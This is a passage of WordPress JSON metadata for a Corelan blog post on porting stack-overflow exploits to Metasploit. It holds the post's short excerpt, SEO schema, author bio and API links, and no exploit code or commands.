common vulnerabilities that can lead to 2 types of exploits : stack based buffer overflows (with direct EIP overwrite), and stack based buffer overflows that take advantage of SEH chains. In my examples, I have used perl to demonstrate how to build &hellip; Continue reading \"Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics\"","og_url":"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2009-08-12T20:51:04+00:00","author":"corelanc0d3r","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/"},"author":{"name":"corelanc0d3r","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f"},"headline":"Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics","datePublished":"2009-08-12T20:51:04+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/"},"wordCount":1083,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"keywords":["encoder decoder","exploit development tutorial","meterpreter","Exploits","payload","shellcode","metasploit","windows"],"articleSection":["Exploit Writing Tutorials","Exploits","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/","url":"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/","name":"Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"datePublished":"2009-08-12T20:51:04+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Exploit writing tutorial part 4 : From Exploit to Metasploit &#8211; The basics"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f","name":"corelanc0d3r","pronouns":"he\/him","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","caption":"corelanc0d3r"},"description":"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.","sameAs":["https:\/\/www.corelan-training.com","https:\/\/instagram.com\/corelanc0d3r","https:\/\/www.linkedin.com\/in\/petervaneeckhoutte\/","https:\/\/x.com\/corelanc0d3r"],"url":"https:\/\/www.corelan.be\/index.php\/author\/admin0\/"}]}},"views":106081,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2196","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=2196"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2196\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=2196"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=2196"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=2196"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}